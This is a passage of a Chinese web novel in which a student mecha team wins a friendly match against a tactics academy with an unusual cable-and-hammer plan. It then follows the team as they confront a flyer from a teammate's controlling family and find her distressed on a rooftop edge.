林别歌自言自语道：“以我多年观赏机甲动画片的经验，这种带点宗教圣洁感的，有独特设计的机型，绝对不是炮灰量产机啊朋友……” 就算不是主角机配置，最起码也得是超级大反派。 它头上那个光圈，肯定是武器，如果光线发射出来，一定会发生什么了不得的大事！ 但影子给的指令是：“自由发挥，等待时机。” 时机具体是什么时候？ 片刻后，林别歌放弃了思考，她手掂两下热力刀，决定遵从本能，提刀就是干！ 誓约者早有防备，一脚挡在圣律者身前，手臂上的防护盾将林别歌挡得死死的。 防御型不愧是防御型，誓约者巨大且沉重的身躯落在那里，就像一座山，巍然不动。 林别歌只得后退到崖边。 刚刚她还将雾雨E逼退至矮谷中，现在形势一变，她落入陷阱。 林别歌叹口气，却突然觉得有点起鸡皮疙瘩，一看手臂，上面的汗毛都竖起来了。 林别歌的本能预感到危险。 但是有一点她不太理解。 敌人都在正面吧，为什么会感觉背后凉凉的？ 队频传来滋啦滋啦的电波声音，林别歌背后的空气出现了扭曲。 陶影懒懒的声音从队频传来。 “林别歌，蹲下。” “啊，为什么？”林别歌虽然疑惑，但也没有回头，她听到命令，下意识蹲下。 嗯，头上什么东西在响？ 那股发凉感莫名从背后转移到了头顶是怎么回事…… 林别歌蓦地抬头，就看到一个不明物体从头顶上飞过。 “……” 哦，仔细一看，是个锤子。 还是队友的霜灭冰锤。强度超高，是的，南卦曾经抡着这把冰锤，把岩浆巨蠕的脑袋砸爆，当时那叫一个汁液四溅呐，就在林别歌眼前。 所以问题来了，它为什么会出现在这里呢？ 三秒后，林别歌两手抱头，发出惨叫。 “影子！！你这个混蛋！！！！” 因为林别歌的遮挡，图兰提斯的人并没发现那飞来的冰锤，等到林别歌下蹲的时候，已经来不及了。 “砰——”冰锤结结实实撞击圣律者的胸口，发出震耳欲聋的响声。 整个胸腔都在共鸣。 圣律者双手交握的大剑，抵挡住了攻击。 剑身金灿灿的，非常耀眼夺目。 但此刻，冰霜从撞击处一路爬满了整把剑，仿佛魔法般，瞬间将剑身从头冻结到尾。 冰霜让它的耀眼变得模糊起来。 而巨大的冲击，让圣律者被撞击得连连后退。 因为方向偏移，激光束在空中乱打，射到了观众席上！ 防护盾发出刺耳的声响，激起大家一阵惊呼，又是到处乱跳，又是抱成一团。 圣律者勉强稳住身形，高能激光束转移方向，从观众席挪开，朝沙地打去，地上瞬间烧灼出一个黑色焦环，冒起呲呲的白烟。 圣律者头顶的光圈黯淡下去。 攻击结束了。 观众席的学生们看着完好无损的防护盾，这才松了一口气。 虽然知道有防护盾在，不会伤到观众，但激光束在面前滋啦滋啦响的，体感还是很吓人。 大家冷静下来，有人举手提问：“那机特学院刚才这一通操作，算是防住了？” “不，局势没有变化，圣律者很快会再次锁定攻击对象。她们要想破局，得再做得彻底一点。”尹子航好心解说道。 果然，如他所说，圣律者的机师动了。 它手腕挣动，大剑上出现裂痕，冰凌很快破碎，扎进沙地里。机师试图再次将剑牢牢插入地下，以固定位置，方便耀环完成对敌人的锁定。 尹子航却“咦”了一声。 冰块虽然裂开了，但圣律者的手，依然像是被什么东西扯住一样，动作受限。 不是因为过低的温度导致的性能问题，而是外在的什么东西。 场内。 祝小芮急道：“怎么了，姬学姐？你动作好奇怪！” 姬达婳的手不停在操作台上按动，但收效甚微，她朝队友道：“圣律者的手动不了，我看不清是怎么回事，学弟你帮我扫描一下。” 祝小芮听出学姐语气中的急迫，非常惊讶。 姬学姐可是她们学院二年级的优等生，竟然连她都被逼急了，看来问题真的有点严重。 可是为什么圣律者的手会动不了呢？ 祝小芮疑惑地抬头。 她操作的雾雨E此刻半坐在崖底。雾雨E的前方一百米左右，是敌方的两台机甲，曙光-T4和愚者-MK2。 南卦的机体在山谷底部正中心。 愚者-MK2维持着抛出冰锤后的姿势，后腿微微蹲着。 但机甲的两只手，呈拉弓的状态，而弓箭的方向，直指圣律者的心脏。 “但，箭是什么？” 天空中的云，此刻终于离开了这片沙地。 阴霾散去，阳光洒在矮谷中。 一条冰蓝色的直线从阴影中跨越而出，彻底显现在大家面前。祝小芮惊呆了，因为她看见了射出的“箭”。 那是一条缆索。 强度足以拉动整台机甲的缆索。 “她抛出冰锤，竟然是为了把缆索挂过去……”祝小芮喃喃道。 一百多米的高强度缆索很重，那台曙光-T4竟然说带就带。只能是赛前准备阶段塞进武器舱的，但谁家好人上场会带这个，而不带武器？ “带缆索多半是因为处于低地，想要借缆索爬升，但……点位的决定很晚，决定后，我们五分钟内就上场了。” 也就是说对方的队长，在公布点位的短短五分钟内，迅速改变并实施了计划吗？ 祝小芮一 身冷汗。 怎么会这么敏锐，又这么果决？ 这让人头皮发麻的感觉，就好像前两天S老师凭借她对塔恩泽虫巢歼灭战的分析风格，判断出她是图兰提斯的学生一样。 她们图兰提斯自诩战术超强，但从来没有哪个新生能算到这个程度。 另一边，姬达婳手里操作不停，但根本解不开缆索，她额头逐渐爬满细密的汗珠。 “不是，这友谊赛对手哪里找的，是人吗？” 高强度缆索缠住圣律者手中剑的护手，绞成一团，难以挣脱。 “——！” 随着一声大喊，南卦的机甲后退，圣律者活生生被拖动了一步。紧接着又是第二步。 姬达婳迅速调整圣律者的重心，像拔河一样，想依靠力量挣脱缆索，但没用，陶影和南卦的机甲手还交握，两台机甲的重量合起，将她们稳稳钉在矮地上。 南卦甩动缆索，在空中划出一声音爆，随后再次重重往后一扯。 圣律者被拖出数十米，直挺挺来到断崖边缘！ 陶影弹了个响指：“下。” 南卦倏地背过身，一脚卡住陶影的曙光T4，缆索在肩膀一绕，重重往下一拉。 圣律者一个踉跄，彻底失去平衡，一撞一撞地滚落到谷底，卷起漫天的沙尘。 “哈啊？！” 图兰提斯的学生张大了嘴。 这是军用级的缆索吧，强度可以拖动百米高的机甲，和星舰也能碰碰。 不是，什么时候带上去的？ 你们友谊赛上这个？ 说好的友谊第一比赛第二呢？？？ “明明一开始，我们拿到的是E23高地，她们拿的是E22低谷，怎么看都是必赢的局势。” 可现在再看战况，一台雾雨E已经半废，躺在E22谷底，手部被绑缚住的圣律者，也被扯入E22。 现在E22区域是2对2，E23区域是1对1。 莱门机特学院竟然在压倒性的劣势下，将局势强行拉平。 现在，她们真正站在了同一个起跑线上。 图兰提斯的新生哪里见过这个场面。 祝小芮急道：“怎么办啊大花学姐！” “我叫姬达婳，不是姬大花……”队频里传来姬学姐无奈的声音，“没什么好慌的，我想想办法。” 赛场瞬息万变，上一秒还处于上风，下一秒就可能因为被对方抓住一个小小的失误，局势扭转。 对敌人来说是，对她们来说也是。 就现在的局势和场地，大有可以参照的对战，姬达婳脑子里很快找出几个类似的解法。 是参照45届联赛的帝国第一军校vs诺斯卡联邦军校那场战斗，和她们硬碰硬，还是按贝奥尔军校vs卡缪军校那场漂亮的团队战，和队友配合？ 后者吧。 姬达婳高喊：“学弟，火力压制！” 高高瘦瘦的男生听从指令。 誓约者手腕打开，外壳哐啷坠下，露出左右各五十个炮筒。 是的，姬达婳心里有了对策。 缆索依靠重力拉扯着她的机甲，但她，和敌人手中，各握着绳索的两端。 既然解不开绳索，就让绳索反过来为她所用！ 此刻的图兰提斯校园墙，有人发布一则帖子，配图是两台机甲各自扯着缆索的两端。 “家人们！第三训练场有比赛可以看！！走过路过不要错过！打得特别精彩！”—— 作者有话说：友谊赛——NO 互相下死手——YES[点赞] 第57章 “哦,友谊赛啊，我看到比赛信息了，对手是莱大机特学院。” “三级军校水平,能有什么看点？” 发帖人解释道：“其实我也这么觉得，一开始纯纯怀着猎奇心态来的,想看看她们怎么输。但你猜我看到了什么，开场十分钟,姬学姐的圣律者开了耀环。” “啊？”跟帖人一脸惊讶,打出回复。 “什么情况,开场才十分钟，她们把姬学姐的耀环都逼出来了？那可是联赛最末的决胜技能！” “岂止,现在翟学弟更是在使用‘蜂巢’对敌方进行火力压制。” 跟帖人大受震撼。 誓约者腕中藏有的蜂巢状小型联组炮筒被称作‘蜂巢’,的确有不错的攻击力,但誓约者作为防御机型，不到万不得已,是不会开启攻击的。 图兰提斯是被逼到了什么地步，这两招都出了,不是说开场才十分钟吗？ 本来就是休息日，图兰提斯的学生又都比较喜欢上网冲浪，这条帖子一下子被顶到hot。 图兰提斯学生奔走相告,全挤进第三训练场。一时间空旷的训练场突然就挤满了人。 而这时看见的东西更是让他们目瞪口呆。 誓约者手部翻落，内部呈蜂巢状排列的五十个小型炮筒，左右共计一百个，每个炮筒内部密集的非定位式炮弹，黑压压如同蜂群，源源不断地飞出。 弹幕密集而阴沉，像致命的雨点,朝矮地上的两台机甲射去。 “——蜂杀。” 愚者-MK2正在这场袭击的中心。 愚者-MK2手中握着缆索，“铛——”，炮弹在缆索上炸开，瞬间的高压产生极大的动能，破碎的弹片以至少千米每秒的速度，朝四面八方飞射。 射出的弹片，光论冲击力，其实无法突破正面装甲。 但如果扎入机甲的软连接处，也许会崩坏关节，直接造成机甲无法行动。 具有极大的杀伤力。 “铛、铛、铛——” 南卦大力甩动缆索，弹开几颗炮弹，曙光-T4和愚者-MK2同时展开防护盾，但很快，在密集的攻击下，防护盾龟裂。 快扛不住了。 “小影，怎么办！”南卦语气焦急。 陶影往嘴里塞了一块能量棒，补充一下脑力消耗。 嚼嚼嚼。 她微笑：“我相信你能全部躲开。” 南卦：“全部躲开，我，我吗？”她怎么能行呢？她一个新手菜鸟……做什么都不行。万一失败了怎么办？ “我不行的。” 南卦紧张得声音都在颤抖。 而陶影语气非常安定。 “当然可以，你目前为止从来没有不行过。我相信你，我的命就交到你手里了，队友。” 陶影话说得云淡风轻，话落地却十分笃定。 她不是在安慰她。 她是真的打从心底里这么相信。 南卦被她这么一说，心头的焦虑像是被水浇灭了，呼吸竟然莫名平缓了下来。 是，是啊，虽然她也不知道自己能不能做到，但小影目前为止的判断，从来没有出错过。 就算不相信自己的能力，但……但可以相信队长的判断！ 南卦握紧拳头，再次抬头时，眼中已经没有迷茫。 “我，我一定努力。战友，我拼死也要保护你！” 南卦嘴里喊着什么友情啊，信任啊，理想之类的话，就拉着陶影开始躲炮弹。 队频里传来林别歌有气无力的吐槽。 “不会有人死的啊，说真的这只是一场友谊赛而已……你们在生离死别什么啊……” 另一边，图兰提斯战术小队。 “火力压制就是爽啊，”祝小芮松了一口气，但瞄了一眼面板，眼睛突然瞪大，“嗯？愚者-MK2怎么没倒下？！” 姬达婳扶额：“翟学弟，你这什么机体描边大法，100发，一发都没中吗？” 翟飞书一脸诡异：“不，不是啊？我真的对准了的，但对方的反应能力突然上升……” 祝小芮摆摆手，一脸不信：“我属猫的，动态视力超强，看得清清楚楚，至少有6颗炮弹是从后侧接近愚者-MK2的，正常人怎么可能反应得过来。” “是吗？”翟飞书有点怀疑自己了。 正如祝小芮所说，那颗炮弹刚才明明就在愚者-MK2的头部视觉死角，它的机师不可能预判背后的攻击。 难道真的是他没有预判到愚者MK2的动作？ 而场上众人，也陷入了怀疑人生 的状态。 因为场上那台愚者-MK2，不仅能避开射向自己的子弹，还能将队友护在身后。 保护自己的同时，让队友没有受到一点伤害。 图兰提斯的学生茫然了。 “这是什么怪物一样的反应能力。” “我再确认一次，这打的是友谊赛吧？” 他们吞了一下口水。 “哪有友谊赛开场十分钟就这么跌宕起伏的？” 他们转头朝机特学院的学生控诉。 “你们怎么做到的，是老师教你们的战术吗？！” 机特学院的学生们齐齐擦汗：“不其实我们也不太清楚怎么回事，至于我们的老师她更是什么也不指导啊……” 说来辛酸，他们的水平跟场上那几位完全不一样。 图兰提斯的校长眯起眼睛。 “——ESP。” “这名学生拥有超乎常人的观察力。” 校长曾经在战场上见过类似的机师，她们的反应能力非常惊人，快到让人以为她们能够预知未来。 校长拧眉，语气酸酸的朝姬亦道：“你哪里招到的好苗子？她们竟然没去军校，还都聚集到莱大机特学院这种鬼地方。” 姬亦：“安德森，说话注意点，好歹我还是机特学院的授课老师。” 安德森挑眉：“说得好像你会认真上课似的。” 为南卦A+级别的精神力惊讶了片刻，图兰提斯的学生们很快镇定了下来。 “虽然能躲开炮弹很厉害，但我们的攻击并不是完全没有效果。曙光-T4和愚者-MK2已经逐渐偏离了位置，照这样下去，很快就要维持不了现有的重量，这场拔河比赛，机特学院要输了！” 果然，密集的火力制造了空隙，陶影和南卦之间的连接短暂分开了。 缆索的这端减轻了重量。 有破绽！ 姬达婳心中一喜。 她双臂将缆索狠狠一拉，缆索另一端的愚者-MK2始料不及，风筝一样在空中被扯得旋转。 愚者-MK2已经在她手中。 姬达婳了然一笑：“学弟！” “好！” 誓约者抬起手臂，再次加大火力。 每个炮筒还剩下两颗炮弹，双手合计两百枚。 这次图兰提斯没有再留手。 “二轮全齐射！” “愚者-MK2左臂中弹！” “愚者-MK2右肩中弹！” “愚者MK2终于露出了破绽！” “三轮全齐射！” “上啊校友！”图兰提斯的学生发出猴叫。 一连串中弹提醒传来，观众席惊呼声不断。 炮弹打得愚者-MK2应接不暇，连续被击中几次，但南卦还没来得及喘口气，第三波炮弹紧接着发射了。 南卦操作越来越慌乱。 她急得要哭了：“小影，我果然不行！我什么都做不到！” “谁说你不行？” 那刚刚保护她的难道是鬼吗。 陶影敲了几个按键，HUD面板上显示出绿色弧线，是弹道分析。 就这两拨炮弹过来，完全没有下脚的地方。 系统提示： 【本轮炮弹完全躲避的机率为——0%。】 果然。陶影耸耸肩：“听见了吧？完全躲避机率为零。刚才的炮弹就算是宇宙之神来了也躲不开，你要真能做到，那得进化成四维生物折叠空间才行。” 南卦被逗得笑了一下，但很快又想起当下境况。 她迅速收起笑容，小脸严肃道：“那现在怎么办？” “既然图兰提斯想逼我们松手，那就如她们所愿。” 誓约者的炮弹一共三百，现在已经全部发射。敌方能进行高强度攻击的机甲，只剩下圣律者。 “躲开还未落地的炮弹，斩杀圣律者，游戏结束。” 陶影眼角上挑。 “南卦，漂亮地收尾吧。” “好！” 众人不知队频交流了什么，只能看见，刚刚那被甩飞在空中的愚者-MK2—— 松手了。 愚者-MK2的粉紫色涂装非常梦幻，给人感觉轻飘飘的，但它的动作却快、狠、准。 这错位的力量感。 愚者-MK2的两腿在崖壁上猛蹬，机体于空中绚烂翻身，随后稳稳落在地上。 机甲头部抬起，紫色的眼睛盯住圣律者。 它仿佛醒了。 两手撑地，呈助跑姿势，而后，猛地弹射出。 它飞奔着。 一步，一步，沉重得引起大地震颤的脚步声中，主动卸掉了身上的部分武器。 轻盈如蝴蝶的机体在密集的炮弹中穿梭。 身边的土地传来炮弹落地的闷声。 但她视若无物。 数发炮弹擦身而过，无法对它造成任何伤害。 没有了队友的限制，不，也许正是现在，队友陷入危机的时候，它的机师才发挥出全部实力。 百米、五十米、十米，逼近！ 愚者-MK2就这样避开所有攻击，一举冲到圣律者面前。 随后一拳打爆了圣律者的光圈！ 姬达婳：“哈？！” 怎么会这么快！ 姬达婳手忙脚乱地松掉手中的缆索，举起大剑，在铮铮的金属碰撞声中，挡住愚者-MK2的拳头。 但太迟了。 作战经验丰富的姬达婳，竟然在这场对战中毫无还手之力。 愚者-MK2号一把捏碎大剑的护手，反手将剑握在手中， 华丽而繁复的大剑，架在圣律者的脖颈上。 观众席发出惊呼声。 姬达婳惊慌后退，背后抵住了沙墙。 她两手失力，脱力地倒在驾驶座上。 此刻她终于意识到，刚刚那么多炮弹没有中，不是因为学弟准心太差。 “愚者-MK2的驾驶者，有A+级别的精神力，所以她能预判炮弹的位置……” 不仅能预判炮弹的位置，甚至连她的每一步动作也。 所以能如此轻易地，夺走她的剑。 姬达婳嘴里艰难道：“我，我认输……” 怎么会有这样的新生？ 怎么会有这样的队伍？ 怎么会这么强？ 近乎全程没有移动的陶影，此刻终于肢体酸痛地站起身，活动了一下身子。 顺便做了一下广播体操。 图兰提斯战术学院的学生，优点，分析能力超强。 缺点，太过照本宣科。 一旦出现她们无法预料的模式，就容易不知所措，然后步步崩盘。 陶影笑眯眯地朝队友道：“赢啦。” 图兰提斯的校长站起来，明显已经没有了打牌的心思。 他指着场内：“新生中怎么会有这种队伍，你怎么选的？” “不是我选的。” 姬亦耸耸肩，看向那台从头到尾几乎没有动过一次的曙光-T4。 “她选的。” 校长连连摇头，笑着一屁股坐回椅子上，嘴里喃喃道：“后生可畏啊。” …… 图兰提斯战术学院输了，还是在友谊赛中输给一个三流军校。 但参与这场比赛，和看过这场比赛的图兰提斯人，都心服口服。 失去所有战斗力后，图兰提斯战术小队的三人主动认输。 祝小芮爬下雾雨E-0087，心情有些沉重，这是她第一次被打得毫无还手之力，但她想看看自己究竟输给了谁。 那台曙光-T4里，究竟是谁在指挥！ 祝小芮脚步飞快地来到机甲库的另一边。 只见曙光-T4的机甲前，站着三个人。 祝小芮记得她们的名字是林别歌，南卦，和白颖。 那个高个看上去傻傻的，应该是开局那个打架像小学生的，不是队长。 另外两个……唔，感觉都不像能开机甲的，一个说话轻声细语，一个脸色惨白，感觉下一秒就能进医疗舱。 祝小芮晃了晃脑袋。 可能是后勤人员？ 那她们队长去哪儿了？ 祝小芮主动上去打招呼：“你们队长呢？” 然后那名柔弱的大学生，捂着嘴轻咳两声后，走到祝小芮面前。 这名一看就非常病弱，怎么想都不像是会开机甲的女人，朝祝小芮伸出手，笑容自信道—— “你好，猫核老师，我们又见面了。” 祝小芮：“……” 祝小芮：“！！！”—— 作者有话说：赢了[撒花] 然后跟猫核老师线下认亲[点赞] 第58章 突如其来的称呼,让祝小芮大脑皮层的褶皱仿佛瞬间被抚平。 仔细一想，白颖是体质F，玩家 S也是体质F。 再加上林别歌=林比格,南卦=南瓜。 一切都能说得通了。 这名病弱少女……难道就是游戏内的玩家S？！ 祝小芮恍然大悟，随后两眼放光,双手抱着她们三人的手上下直晃。 “原来是游戏里的太空女鬼三人组！你们怎么不早告诉我！” 南卦不好意思道：“我其实光顾着打架了，没注意这个,猫核老师,你问小影吧。” 林别歌干笑两声,抹了一把脸：“实不相瞒我也是刚刚才知道。能解释一下怎么回事吗，亲爱的队长？不要告诉我这是巧合,我一个字不信。” 队友好凶哦。 陶影笑眯眯地举手投降。 “友谊赛是我去跟姬老师申请的,不过姬老师只透露了对手是图兰提斯战术学院的一年级生,其它的我一概不知。” 祝小芮兴奋地跳了跳：“那你怎么认出来是我的！” 陶影举起祝小芮的手，放到胸口,眨了一下眼睛。 “因为命运指引我们在这里相遇。” 林别歌手压在陶影的肩膀上，面无表情道：“你好好组织一下语言,给你一个重新回答的机会。” 祝小芮对此表示赞同：“请不要糊弄刚刚输给你的对手，你忍心欺骗我吗？” “好吧。” 陶影正了正神色，开始认真解释。 “你最喜欢的机体是雾雨E-0087。开机后的习惯动作是先检查左臂,再用左臂探知背后的六翼干扰器。而你刚刚握手时，伸出的是左手，很明显，你是左撇子，和游戏里一模一样。不过最主要的还是——” “我在诈你。” 陶影摊手：“没想到说中了。” 祝小芮：“……”这人蔫坏。 祝小芮戳戳南卦：“S老师性格跟游戏里差别好大啊，线上明明很温柔的。” “小影一直都很温柔啊。”南卦不解地摇头。 林别歌扶额：“南瓜，你睁开眼睛看看吧。” 影子温柔,那赛场上下命令算计她的难道是鬼吗？ 说真的，林别歌觉得不能再这样下去了。 每次受苦的都是她。 她要有效地生气，要让队长认识到，老是逮着她薅羊毛是要付出代价的！ “我生气了，我真的生气了，影子，今天要是再跟你多说一句话，我就不回家吃饭了。” “哦。” “我说真的！” “这句不算跟我说话？” 林别歌装作没听见，毅然决然地转身。 “我今天不回家了，我要去外面吃香的喝辣的！而且也不给你们带饭！一，片，肉，渣，都，不带！” 另外三人：“……” 好毒的毒誓，对自己的胃真是非常友善了。 陶影朝着林别歌的背影友情提醒：“这是我们一起赢下的第一场比赛，大家待会要一起拍合照纪念的，林别歌同学，离家出走不要去太远的地方。” 林别歌闻言脚下踉跄两步，她坚守原则没有回头，只是长腿一迈换了个方向，朝观众席走去。 …… 六名参赛选手一齐踩上观众席的台阶，风吹过她们的头发，正午的热浪卷起沙尘，但温度正好。 观众席上的双方学生都猴子一样欢呼起来。 “林别歌，你干得好哇！”“南卦，太厉害了！” “体质F同学，你的指挥超棒的！” 祝小芮歪头：“他们为什么叫你体质F同学？” 陶影无奈地摊手：“痛失真名很久了。话不多说，合照吧。” 学生们按高矮排好位置，陶影她们和姬亦、白助教站在众人前面。 而图兰提斯的校长安德森，手里举起照相机，开始取景。 “哎，那个谁，林别歌，你蹲下一点，出镜头了。”“小芮，你踮脚，镜头里只有你的脑袋，算了你往上站一格，对，就在南卦后面。” 安德森调整一下位置，设置好定时，也冲到第一排，咔嚓一声，留下照片。 很快照片就隔空传输到了同学们的光脑中。 大家一个个数着照片里同学的丑样，乐呵呵的。 南卦掏出迷你打印机，喀哒两声打印出照片。 少女对着赛场举起照片。 手指轻轻变换角度，阳光让照片的边框反光出碎金色的光辉。 闪烁的，热血的，眩目的胜利。 今日的风，将和难以磨灭的美好回忆一起，永远存留于她们记忆之中。 这是她们赢下的第一场比赛。 以后还会赢更多。 但南卦很快发现照片里有哪里不对，收回手唔了一声。 照片里的小影怎么只有侧脸？ 南卦疑惑地转头，就看见陶影正遮着嘴，血从指缝间流出，察觉到南卦的视线，陶影两手赶忙朝她比划。 南卦当即察觉到发生了什么，惊慌地朝后面大喊：“背包！小影的包呢！药，药药药！！！救命啊！！” 南卦这一喊，还在欣赏照片的大家齐齐投来视线，虽然不知道怎么回事，但心肠很好的大学生们一个递一个，帮忙把陶影的背包传到前方。 然后就看到陶影呕出一口血。 图兰提斯的学生们倒吸一口凉气，震惊转头：“她什么情况，刚刚开机甲伤到哪里了吗？！” 机特学院的同学们：“呃那倒不是……她一直这样。” 一直吐血吗？ 图兰提斯的学生眉头一皱：“难道是什么不治之症？哦我的宇宙之神啊，真是天妒英才，她还剩下多少时间？” 林别歌伸手：“不，倒也没到会死的程度……” 林别歌试图帮忙解释病名是那个什么“脑同步干扰综合症”，但以她的半吊子理解，越解释越不对劲。 最后大家只听懂了，这位体质F同学经常吐血，然后还晕血。 图兰提斯众人沉默片刻，评论道：“哇这个病生得真是……逻辑缜密，环环相扣，颇有战术。” 机特学院众学生：“这仨词用在这里合适吗。” 还有能不能不要再提战术了，你们图兰提斯都是战术狂魔吗！ 一群学生簇拥上来，开始分析陶影的病情，但显然他们的专业并不能为陶影提供任何帮助，只能添乱。 他们从人类起源开始分析到切斯特星历史，最后终于有人想起应该叫医生，大喊：“校医！” 喊出了医闹的架势。 陶影摆手示意不用了。 她仰头吞下一颗药，抹掉嘴角的血，然后熟练地把沾着血的纸巾扔进垃圾桶。 “单纯药效过了，现在没事了，”陶影抬手看了眼时间，“下午还有课，我先走……” “等等！”图兰提斯众人伸出手。 这么在意时间，是因为生命已经剩下没有多少了吗…… 那，那更要留下她的影像了，怎么能赢了这么漂亮的一场比赛，最后照片里却没有她的正脸呢？ 图兰提斯众人自顾自产生极大误解，在感慨和同情中重新摆好了姿势，再次拍照。 但因为刚刚的意外，场面有一些混乱，且正好刮过一场大风，最终照片出来，一群人都是发型狂野，表情乱飞。 大家纷纷要求再拍一张，但陶影以没时间为由拒绝了，照片分发到大家的光脑里。 林别歌凑过来：“下午的课还早呢，要不再拍一张？” “不，大家表情都挺鲜活的，就这张吧。” “你喜欢有生命力的照片？” “那倒不是，”陶影咧嘴，露出一个邪门的笑容，“众所周知，图兰提斯培养指挥官，哪天他们当中有人在军中打响了名号，回想起这张照片，肯定会花钱让我销毁的。” 说完，陶影又想起什么似的，惊讶地看着林别歌。 “对了，比格老师不是还在生气吗？怎么跟我说话？” “影子，你这个性格真的从小到大没被人揍过？” “没有，我监护人很温柔的。” 林别歌不再问了。监护人而不是父母，影子也从来没有主动提过她的家庭，想必家庭情况十分复杂。 算了算了，女人何苦为难女人。 她大方地表示和解了。 …… 虽然友谊赛打得非常夸张，但比赛结束后，大家关系莫名融洽，交换了一下联系方式，陶影她们打道回府。 祝小芮在高处朝她们挥手：“S老师，大家联赛见！” 陶影笑意盈盈：“联赛见。” 图兰提斯的私人穿梭舰把一群学生送回了学校。 刚进校门，就有一群学生围过来。 这些学生本来认为这场友谊赛必输无疑，所以没去看，现在都非常后悔。 这可是他们机特学院打败二级军校扬眉吐气的一战，竟然没有在现场亲眼见证，简直太可惜了。 “你们那场比赛打得也太漂亮了！” “网上都传开啦！图兰提斯那群单身狗最喜欢上网冲浪了，他们飞速剪了视频，说莱门大学机特学院的神秘队伍超强的。” 陶影看了眼，果然如这名同学所说，视频足足剪了十几个，发布在图兰提斯战术学院的官方帐号。 几大军校纷纷转发，标题是‘致敬白颖同学燃烧生命的精神’？ 她燃烧什么生命了？ 话说图兰提斯的学生，为什么剪自家人的战败视频会剪得这么上头啊？ 甚至还分热血版、沙雕版、CP版，等等。 CP版是怎么回事？几台机甲打来打去的也能嗑上？ 陶影疑惑地点开一看，发现剪辑是把曙光-T4和愚者-MK2牵手躲炮弹那一段剪上去了，还贴心地加上了粉红泡泡滤镜。 陶影：“……” 怎么做到把这么硬核的躲子弹场面剪成嗑CP的。 因为这些视频的热度，接下来几天，陶影三人每次上课，都会接受机特学院学子仰望的目光，还有小声的议论：“你知道吧，就是她们三个，打赢了二级军校！” 学校附近的人都知道了，甚至连家附近小吃街一条街的摊主也全知道了。 陶影三人经常去那里吃东西，一传十，十传百，她们走到哪里都会被慈祥的阿姨塞食物。 “哎哎这辣烤田鼠送你们了，回头要是赢了联赛，一定帮我宣传啊！” “……” 林别歌抱着满手的食物，一脸幸福。 “影子，下次也尽情算计我！” 陶影拍拍她的肩膀：“放心，我绝不跟朋友客气。” …… 几天后，热度下去，陶影她们走在学校里总算不会引起围观了。 交完两门课的作业，陶影三人正打算回宿舍午睡一下，路过公告栏，看那里人头攒动，正在大声讨论着什么。 陶影抬抬下巴：“过去凑凑热闹？” 两位队友：“正有此意！” 公告栏上贴了一则寻人启事。 “写得好感人哦。” “是一对父母在找他们深爱的女儿。” 众人正在热切讨论这位“失踪的女儿”是谁。 “我看看，他们的女儿偏远星系出身，独自来到切斯特星，就读莱大机特学院，但失去联系，父母非常担心她，现在想把她找回去，他们一家人，包括弟弟，都很想她——” 林别歌摩挲下巴，转头对着陶影：“不会是你吧？” 她？ 她哪儿来的家人。 从户籍的角度来说，陶影曾经有过一位家人，是养大她的监护人，但很久以前就因病去世了。现在这个“白颖”，更是举目无亲。 陶影摆摆手：“怎么可能，我家户口本只剩我了。” 林别歌：“……” 陶影正想说这事情和她们无关，不如回宿舍睡午觉，就发现南卦的神色不太对劲。 南卦盯着墙上的传单，呼吸急促，手指掐着衣服下摆，显然受到了不小的刺激。 刺激？ 陶影眨了眨眼，暂且放下午睡的心思，走到公告栏前，一字没缺，一行一行地，将那张错漏百出的传单看完了。 陶影越看表情越冷，等扫到最末，哼笑了一声。 传单字字说着爱，实则一点爱意没有，女儿失踪了？不，女儿受够了压迫，逃走了。 第一次见面的时候，南卦说过，她是偏远星系出身，家里人因为想把她留在偏远星系照顾弟弟，偷偷改了她的志愿，逼迫她退学，所以南卦是和家里断交之后，用自己攒下的路费，独自来的莱门大学。 跟公告里那个失踪的女儿全对上了。 回头看了眼南卦，她似乎正在努力平稳情绪。 陶影叹了口气，走上前，干脆地撕下传单。随后欻欻地将贴在公告栏的相关传单撕了个干净。 有人好奇道：“体质F同学，你知道他们找的是谁？” 陶影淡淡道：“不知道，可能是我吧。” “……”是就是，不是就不是，什么叫可能是？ 有人指责道：“你怎么这样？就算不帮忙找人，也没必要把传单撕了呀？一家人团聚多重要，你现在撕掉传单，她的家人找不到她，你负得了这个责任吗？” “团聚？”陶影挥挥手中的传单，反问道。 “传单里的用词，处处遮遮掩掩，明显有些别的目的。知道女儿在哪个学院上学，但开学这么久，女儿完全不联系他们，为什么？” “一个偏远星系的学生，来第一星系要攒不少路费，这几位在传单里如泣如诉的家人，嘴上倒是擅长说爱，实际行动上呢？女儿不寻求他们的帮助，独自离家，为什么？” “虽然知道你们是好意，但热心也需要谨慎一点，别不小心当了帮凶。” “这，这——”那人说不出话了，他觉得陶影说得有些道理。 陶影说完仰头：“林别歌，上面还有一张。” “哦，哦……”一米八的林别歌愣愣伸手，把那张传单撕下来，交到陶影手里。 陶影将传单揉成一团，随后点了火，统统烧掉。 林别歌不解地挠头，刚刚影子还一副看戏的状态，现在又好像关心这件事。 这转变太不寻常了。 难道这名“失踪的女儿”是影子认识的人？但影子在学校里就只跟她和南卦比较熟吧。 ……等下，南卦？ 林别歌脑中头脑风暴了一下，最后凑到陶影耳边，小声道： “这名失踪的女儿是，是南卦？” “你终于发现啦。” 陶影扶着双腿，站起身。 南卦起起伏伏的精神状态，极有可能跟她这帮‘家人’有关，他们突然出现，恐怕会刺激到她，最好不要让她接触相关的东西。 陶影正想叫上南卦一起回宿舍，好好商量下这件事怎么解决，回头却没看见人。 南卦不知道什么时候消失了。 陶影心中有点不详的预感，叫上林别歌一起回宿舍找人，刚拐过弯，就看到一群人聚集在宿舍楼底下的广场中心，全仰头往天上看。 “你看，天台上有人。” 陶影随之抬头。 天台边缘有个熟悉的身影，第一次见面，南卦就是这样坐在窗台上的，她当时说“我有点想死”。 那身影站起，往边缘又走了一步。风吹过顶楼，身体晃了晃。 众人的心也随之揪了起来。 有人忙着联系白助教，陶影思索片刻，朝林别歌打了个手势。 “上楼。”—— 作者有话说：队友危。 第59章 天台的门半开,还泛着一股新刷的油漆味。 天阴沉沉的，像要下雨，潮湿的空气黏着在皮肤上。 骤然划过的闪电,照亮天台上三人的面孔。 “站在高处的感觉如何？” ——陶影问。 南卦将速写本抱在胸前，转过身。 她看上去异常平静,平静得让人害怕。就连林别歌也察觉到南卦的情绪异样。 “站在高处的感觉如何？” 陶影又问。 南卦终于回过神，她眨眨眼,露出一个灿烂的笑容。 “空气挺好的,就是风有点凉。抱歉,让你们担心了，我没事。” 南卦笑着说：“我只是想吹下风。” …… 陶影揉揉眉心。 怎么大家上天台的借口都是‘我来吹风’？ 